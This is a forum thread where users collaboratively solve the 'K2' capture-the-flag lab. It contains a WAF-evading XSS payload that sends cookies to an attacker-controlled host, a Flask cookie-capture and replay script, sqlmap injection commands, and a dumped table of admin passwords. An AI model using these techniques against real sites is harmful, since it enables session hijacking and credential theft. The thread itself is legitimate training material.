Let’s talk about K2
.
I found = (but no success)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
i found this email =
jane@untitled.tld
You could try exploiting OpenSSH 8.2p1 vulnerabilities CVE-2023-38408
Frameable response (potential Clickjacking)
Unencrypted communications
[Vulners] Software detected
/static/js/jquery.min.js
Path-relative style sheet import
there are 2 subdomains, admin.k2.thm
and it.k2.thm
, you can sign up on it.k2.thm
. The form is vulnerable to xss and you can steal cookies and bypass the WAF by using this payload :
<script>var+doc+%3d+window['document']%3bvar+cookie+%3d+doc['co'+%2b+'okie']%3bfetch('http%3a//YOUR_IP%3aYOUR_PORT%3fcookie%3d'+%2b+cookie)%3b</script>
The cookies captured seems to change every 2 secondes but none of them works neither on admin.k2.thm
nor on it.k2.thm
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.215.98 - - [28/Sep/2024 09:47:02] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfChg.e-duzpH9xiUNmxH61v7Wu5woPZU HTTP/1.1" 200 -
10.10.215.98 - - [28/Sep/2024 09:47:04] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfCiA.QoWx4iD7W98uctXCH9rL0tKO4As HTTP/1.1" 200 -
10.10.215.98 - - [28/Sep/2024 09:47:06] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfCig.K4H5MTjiw2AMit71bf5jy3QM6gI HTTP/1.1" 200 -
10.10.215.98 - - [28/Sep/2024 09:47:08] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfCjA.pJrzO00PsheJcj6GNJI1p-RqXuw HTTP/1.1" 200 -
10.10.215.98 - - [28/Sep/2024 09:47:10] "GET /?cookie=session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.ZvfCjg.wwwASuX3fbW4UrgKbegNoAa3PPk HTTP/1.1" 200 -
This is the captured JWT token which does not have an alg
header and weirdly formated.
Can’t you just use the session cookie instead of decoding it? I don’t think it’ll invalidate the session cookie after two seconds, it’s just creating a new one.
None of these session tokens work as I said neither on admin.k2.thm
nor on it.k2.thm
I tried manipulating the tokens by editing the fields but it doesn’t work.
I don’t know too if these session tokens are for admin
or for ìt
, if it’s for it
then they’re expiring as the Expiry value on the session is set to Session
Then maybe it’s invalidating. Try to create a script that listens for port 80 and sends a request using the cookie as soon as it gets the session cookie
Something like that:
from flask import Flask, request
import requests
app = Flask(__name__)
# Target URL to send the request with the session cookie
target_url = 'http://example.com/target-page'
@app.route('/', methods=['GET', 'POST'])
def capture_cookie():
# Capture the session cookie from the incoming request
session_cookie = request.cookies.get('session') # Adjust 'session' based on the cookie name
if session_cookie:
print(f"Session cookie found: {session_cookie}")
# Prepare the cookies dictionary
cookies = {
'session': session_cookie # Adjust the key based on the actual cookie name
}
# Send a GET request with the session cookie
response = requests.get(target_url, cookies=cookies)
# Print the response from the server
print(f"Request sent to {target_url}")
print("Status Code:", response.status_code)
print("Response Body:", response.text[:500]) # Print first 500 characters of the response
return "Session cookie captured and request sent", 200
else:
return "No session cookie found", 400
if __name__ == '__main__':
# Run Flask app on port 80
app.run(host='0.0.0.0', port=80)
Okey so I figured it out.
Once a token is received on the python web server terminal we need to set up the session token on admin.k2.thm
and go to http://admin.k2.thm/dashboard
without refreshing nor doing anything.
Nice! I don’t have access to the challenge. If you find anything new, please share it so others can get help
title
parameter is SQL injectable at http://admin.k2.thm/dashboard
$ sqlmap -r titles.fuzz --dbs --risk=3 --level=5 --dbms=mysql --technique=B --threads=10 --no-cast -D ticketsite --tables --dump-all
___
__H__
___ ___[)]_____ ___ ___ {1.8.5#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: title (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: title=FUZZ' AND 1916=(SELECT (CASE WHEN (1916=1916) THEN 1916 ELSE (SELECT 3864 UNION SELECT 6623) END))-- -
---
available databases [3]:
[*] information_schema
[*] performance_schema
[*] ticketsite
Retrieved one useful database : ticketsite
Couldn’t fetch tables so far the WAF is doing its job. Looking into it.
Okey, I retrieved the table name : tickets
found the columns :
[12:44:18] [INFO] retrieved: id
[12:44:18] [INFO] retrieved: description
[12:44:18] [INFO] retrieved: title
3 columns are available, dumping data right now.
Well, this might be a rabbit hole…
Database: ticketsite
Table: tickets
[3 entries]
+----+----------+---------------------------+
| id | title | description |
+----+----------+---------------------------+
| 1 | help | my computer won't start |
| 2 | help | what is my password? |
| 3 | i got it | 8675309 is jenny's number |
+----+----------+---------------------------+
Try users
table. It may exist.
Sqlmap is fetching tables from a wordlist because of the WAF the wordlist used at first should contain users but I’m trying a bigger one.
[13:12:46] [ERROR] unable to retrieve the table names for any database
do you want to use common table existence check? [y/N/q] y
which common tables (wordlist) file do you want to use?
[1] default '/usr/share/sqlmap/data/txt/common-tables.txt' (press Enter)
[2] custom
> 2
what's the custom common tables file location?
/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[13:13:08] [INFO] performing table existence using items from '/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt'
[13:13:08] [INFO] adding words used on web page to the check list
[13:13:08] [INFO] checking database 'ticketsite'
[13:13:08] [INFO] starting 10 threads
[13:15:48] [INFO] retrieved: tickets
[13:15:48] [INFO] tried 2434/63096 items (4%)
“I was so far down a rabbit hole. How did you find the subdomains? What wordlist did you use?” Thank you for sharing!
This is the command I used for subdomains.
$ ffuf -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt -u http://k2.thm/ -H "Host: FUZZ.k2.thm" -fs 13229
Don’t forget to add k2.thm
to your /etc/hosts
and add all others (admin
and it
) once u find them too.
Thank you so much! I’m still learning
My pleasure we all started there!
Okey so, i found the table name using manual SQLi, which is called admin_auth
using Sqlmap
to fetch columns i got these :
[14:04:42] [INFO] retrieved: id
[14:04:43] [INFO] retrieved: description
[14:04:43] [INFO] retrieved: title
[14:04:44] [INFO] retrieved: email
[14:05:45] [INFO] retrieved: admin_password
[14:05:47] [INFO] retrieved: admin_username
I’m dumping data at the moment.
Here is the command I’m using :
$ sqlmap -r titles.fuzz --dbs --risk=3 --level=5 --dbms=mysql --technique=B --threads=10 --no-cast -D ticketsite -T admin_auth --dump
Here you go!
Database: ticketsite
Table: admin_auth
[7 entries]
+----+--------------+-------+---------------+------------------+----------------+
| id | email | title | description | admin_password | admin_username |
+----+--------------+-------+---------------+------------------+----------------+
| 1 | james@k2.thm | | | Pwd@9tLNrC3! | james |
| 2 | rose@k2.thm | | | VrMAogdfxW!9 | rose |
| 3 | bob@k2.thm | | | PasSW0Rd321 | bob |
| 4 | steve@k2.thm | | | St3veRoxx32 | steve |
| 5 | cait@k2.thm | | | PartyAlLDaY!32 | cait |
| 6 | xu@k2.thm | | | L0v3MyDog!3! | xu |
| 7 | ash@k2.thm | | | PikAchu!IshoesU! | ash |
+----+--------------+-------+---------------+------------------+----------------+
You are killing it! .
Now, one of them may be valid SSH credentials. Is it?